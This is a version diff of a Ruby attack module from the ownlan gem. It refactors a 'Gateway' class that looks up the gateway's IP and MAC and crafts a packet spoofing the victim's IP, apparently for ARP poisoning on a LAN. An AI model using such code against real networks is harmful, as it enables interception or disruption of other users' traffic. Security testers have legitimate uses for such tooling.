lib/ownlan/attack/gateway.rb in ownlan-0.3.2 vs lib/ownlan/attack/gateway.rb in ownlan-0.4.0
- old
+ new
@@ -1,21 +1,30 @@
module Ownlan
module Attack
class Gateway < Base
def process
- gw_ip = `netstat -rn | grep 0.0.0.0 | awk '{print $2}' | grep -v "0.0.0.0"`
- gw_mac = PacketFu::Utils::arp(gw_ip, :iface => interface)
+ generate_packet
- config.source_mac.nil? ? saddr = ServiceObjects::NetworkInformation.self_mac(interface) : saddr = config.source_mac
+ send_packet
+ end
- daddr = gw_mac
- saddr_ip = config.client_ip
+ def generate_packet
+ gw_ip = ServiceObjects::NetworkInformation.gateway_ip
+
+ saddr = config.source_mac
+ daddr = config.gateway_mac || gateway_mac(gw_ip)
+
+ saddr_ip = victim_ip
daddr_ip = gw_ip
- crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip, saddr_ip, config.delay, interface)
- send_packet(config.delay, config.interface, crafted_packet)
+ @crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip).call
end
+ private
+
+ def gateway_mac(gw_ip)
+ ip_to_mac(gw_ip)
+ end
end
end
-end
\ No newline at end of file
+end